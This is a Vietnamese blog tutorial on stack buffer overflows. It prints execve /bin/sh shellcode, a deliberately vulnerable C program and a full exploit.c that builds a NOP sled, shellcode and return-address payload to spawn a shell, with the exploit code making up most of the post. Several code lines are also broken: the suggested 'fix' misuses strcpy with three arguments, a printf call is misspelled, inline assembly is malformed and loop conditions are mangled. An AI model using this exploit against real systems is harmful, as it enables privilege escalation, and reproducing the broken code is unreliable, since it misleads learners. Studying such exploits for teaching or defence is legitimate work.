Trao đổi với tôi

http://www.buidao.com

3/3/10

[Hacking] Buffer Overflow (Tràn bộ đệm)

Download: http://antihacker.50webs.com/ky%20thuat%20hack/BUFFER_OVERFLOW.DOC

Chắc nhiều người trong các bạn đã từng nghiên cứu exploit code rồi nhỉ. Đa phần các exploit code này được viết bằng c, dịch và chạy trên unix, nhằm tấn công vào lỗi tràn bộ đệm (buffer overflow) của máy chủ. Để nghiên cứu về vấn đề này cần rất nhiều thời gian và công sức, vì cả lý thuyết và thực hành đều chả dễ dàng gì. Vì vậy tôi xin trình bày từ từ từng phần một.
Trước tiên xin nói về shellcode. Khi mở một exploit source file, bạn thường thấy định nghĩa một mảng ký tự rối rắm đại loại như thế này:

"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

Nhìn chả hiểu gì!
Thực ra thì đó chỉ là dạng hiển thị ở hệ sô 16 (Hexa) của một tập lệnh, mà thường thì khá đơn giản, đó là hàm gọi execve của c để gọi tới một tiến trình khác trỏ bởi tên file, có thể là /bin/sh của unix hoặc c:\cmd.exe của windows.
Việc sinh ra mã hexa này khá phức tạp, tôi sẽ nói ở bài sau (vì còn phải test rất kỹ).
Còn bây giờ chúng ta cùng tìm hiểu xem dùng shellcode tấn công vào lỗi tràn bộ đệm như thế nào.
Một đoạn lệnh đơn giản:

char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input); // copy input vào buffer

Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vì copy 11 byte vào buffer chỉ chứa được 10 byte. Còn đây là bản sửa lỗi:

char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input, sizeof(buffer));

Đơn giản phải không các bạn.
Vậy thì điều gì sẽ xảy ra khi gạp lỗi segmentation fault?
Trong bộ nhớ thì cái buffer ở trên có dạng như sau:

buffer sfp ret
[BBBBBBBBBB][xxxx][xxxx]

Trong đó 10 bytes đầu để chứa dữ liệu (thực ra chỉ có 9 byte thôi vì byte cuối phải chứa NULL để báo hiệu kết thúc). Sau đó là Stack Frame Pointer 4 byte và Return Address 4 byte nữa.
Khi mà hàm strcpy (viết tắt của string copy) được gọi thì một cái stack frame (không biết dich ra tiếng Việt là gì) được cấp phát trong bộ nhớ với format như trên. Ví dụ:

strcpy(one, two);
printf("Okie\n");

thì cái return address sẽ trỏ tới vị trí của lệnh gọi tới hàm printf trong bộ nhớ, và khi hàm strcpy kết thúc thì con trỏ lệnh sẽ chỉ tới đó.
Bây giờ hãy thử tưởng tượng xem nếu ta thay đổi cái địa chỉ đặt ở đó, để cho nó trỏ đến vị trí của shell code thì sẽ ra sao nhỉ? Nếu tiến trình đang thực hiện ở với quyền của root thì ta sẽ có được root shell, cũng giống như dấu nhắc c:\ của dos vậy.
Tiếp tục với Stack Frame nhé, nếu thay vì copy 10 byte chúng ta cop hẳn 18 byte thì nó sẽ được điền đầy:

buffer sfp ret
[dddddddddd][dddd][dddd] (giả sử byte dữ liệu là d)

Lúc đó return address sẽ là 0x64646464 (vì mã hex của 'd' là 0x64 mà).

Chú ý là string luôn bị ngắt bởi NULL (0x0), nên nếu đặt return address là 0x64006464 thì hai byte sau sẽ bị cắt đi.

Một khái niệm cần quan tâm nũalà stack pointer (cũng chẳng biết tiếng Việt gọi là gì cho đúng). Mỗi một tiến trình khi chạy sẽ sinh ra một cái gọi là stack pointer trỏ đến địa chỉ khởi đầu của stack. Việc xác định stack pointer khá đơn giản bằng hàm sau:

/* sp.c */
unsigned long sp(void)
{
("movl %esp, %eax");
}

// và có thể in ra được
void main(void)
{
printf("0x%x\n", sp());
}

Giả sử bạn dịch xong rồi chạy nó:

$ ./sp
0xbfbffbc8
$

Thì giá trị của stack pointer là 0xbfbffbc8. Tức là tất cả các biến được cấp phát bộ nhớ của chúng ta trong chương trình sẽ nằm sau địa chỉ này. Từ địa chỉ này chúng ta sẽ tìm được địa chỉ của buffer.

Chú ý là hàm này chỉ dùng khi bạn tự viết chương trình để test thôi, còn trên thực tế muốn attack vào server thì phải thử rất nhiều, có khi phải chạy brute force cả ngày (mà vẫn chưa ra ).

Thêm một chút về shellcode nhé, các bạn có thể dịch và chạy chương trinh sau tren linux hoặc cygwin:

/************************************************************
* Linux 23 byte execve code. Greetz to preedator *
* marcetam *
* admin@marcetam.net *
*************************************************************/
char linux[]=
"\x99" /* cdq */
"\x52" /* push %edx */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x54" /* push %esp */
"\x54" /* push %esp */
"\x59\x6a" /* pop %ecx */
"\x0b\x58" /* push $0x0b */
"\xcd\x80"; /* int $0x80 */

int main(){
void (*run)()=(void *)linux;
printf("%d bytes \n",strlen(linux));
run();
}
/* www.hack.co.za [28 April 2001]*/

Cái này tớ đã test trên cygwin, tuy báo lỗi segmentation fault nhưng vẫn chạy tốt. Nó sẽ gọi đến sh một lần nữa, và bạn có thể gõ exit để thoát ra.

Rồi, bây giờ chúng ta hãy thử viết một chương trình nhỏ có ẩn chứa khả năng bị overflow:

/* vulnerable.c */

int main(int argc, char *argv[])
{
char buffer[500];
if(argc>=2)
{
strcpy(buffer, argv[1]);
ptintf(“Done!”);
}
return 0;
}

Cũng đơn giản, phải không? Chương trình này sẽ copy tham số truyền từ ngoài vào một mảng 500 byte. Dịch và chạy thử nhé:

$ gcc -o vulnerable vulnerable.c
$ ./vulnerable Hello
Done
$

Good, không có gì xảy ra cả vì “Hello” quá nhỏ so với 500 byte. Chúng ta lại viết thêm một chương trinh nữa:

/* overflow.c */

void main()
{
char buffer[501];
memset(&buffer, 'a', sizeof(buffer));
execl("./vulnerable", "vulnerable", buffer);
}

Thằng này sẽ gọi đên vulnerable và truyền vào một mảng 501 byte.

$ gcc -o overflow overflow.c
$ ./overflow
$

Không có gì hiện ra cả, bởi vì lệnh strcpy đã sinh ra lỗi. Nếu chạy trên linux thì có thể sẽ hiện lỗi “Bus error”, còn trên cygwin thì không hiểu có cơ chế gì bảo vệ bộ nhớ nên không có thông báo lỗi (cái này bác nào bíêt thì bảo nhé).

Nào bây giờ ta hãy lợi dụng lỗi này để chạy shellcode. Chúng ta có 500 byte để chứa shellcode, nhưng bây giờ cần phải giải quyết hai vấn đề: xác định shellcode nằm ở đâu trong bộ nhớ và là thế nào để cho trỏ lệnh nhảy đến đó.
Ở trên chúng ta đã biết có thể xác định được stack pointer, và buffer của chúng ta sẽ nằm ở đâu đó đằng sau vị trí này. Nhưng chính xác ở vị trí nào? Việc này khó đấy, nói chung là không làm được.

Bây giờ ta mới thi triển một tiểu xảo, đó là dùng NOP. NOP (có lẽ là Not OPerate) là một lệnh assembly có mã \x90, nó chẳng làm gì cả, chỉ đơn giản là pass qua lệnh tiếp theo. Bình thường thì lệnh này ít sử dụng, chỉ đôi khi được dùng để tạo delay.

Và bây giờ hãy thử đặt vào trước shellcode khoảng 200 byte NOP xem nào, chúng ta có thể chọn vị trí tương đối của buffer, khi con trỏ lệnh trỏ đến khu vực này thì ta chỉ mất thêm mấy msec trước khi shellcode được thực hiện.

Dể cho chắc chắn chúng ta tạo buffer lớn hơn 100 byte, nghĩa là 600 byte, và có dạng thế này đây:

[NOP][shellcode][return address]

Chú ý là đằng sau shellcode được điền đầy bởi return address để đảm bảo rằng giá trị cảu return address sẽ được ghi vào phần chứa return address của buffer. Có thể thay đổi giá trị của return address băng cách thêm vào sp một giá trị offset.
Ta se viết chương trình như sau:
(cái này chưa test)

/* exploit.c */

#include

#define BUFFERSIZE 600 /* buffer + 100 bytes */

/* linux x86 shellcode */
char shellcode[] = "\x99" /* cdq */
"\x52" /* push %edx */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x54" /* push %esp */
"\x54" /* push %esp */
"\x59\x6a" /* pop %ecx */
"\x0b\x58" /* push $0x0b */
"\xcd\x80";


unsigned long sp(void) /* hàm lấy sp */
{
("movl %esp, %eax");
}

void usage(char *cmd)
{
printf("\nusage: %s \n\n", cmd);
exit(-1);
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;

if(argc<2)>
offset = atoi(argv[1]); /* lấy giá trị offset 0 - 200 */
esp = sp(); /* lấy sp */
ret = esp-offset; /* sp - offset = return address */

printf("Stack pointer: 0x%x\n", esp);
printf(" Offset: 0x%x\n", offset);
printf(" Return addr: 0x%x\n", ret);

/* cấp phát bộ nhớ cho buffer */
if(!(buffer = malloc(BUFFERSIZE))) {
printf("Couldn't allocate memory.\n");
exit(-1);
}

/* điền đầy buffer bằng giá trị của return address */
ptr = buffer;
addr_ptr = (long *)ptr;
for(i=0; i< buffersize;>
*(addr_ptr++) = ret;

/* điền nửa đầu của buffer bằng mã lệnh NOP */
for(i=0; i< buffersize/2;>
buffer[i] = '\x90';

/* ghi shellcode vào giữa buffer */
ptr = buffer + ((BUFFERSIZE/2) - (strlen(shellcode)/2));
for(i=0; i< strlen (shellcode);>
*(ptr++) = shellcode[i];

/* hehe bây giờ truyền buffer vào thằng vulnerable */

buffer[BUFFERSIZE-1] = 0;
execl("./vulnerable", "vulnerable", buffer);

return 0;
}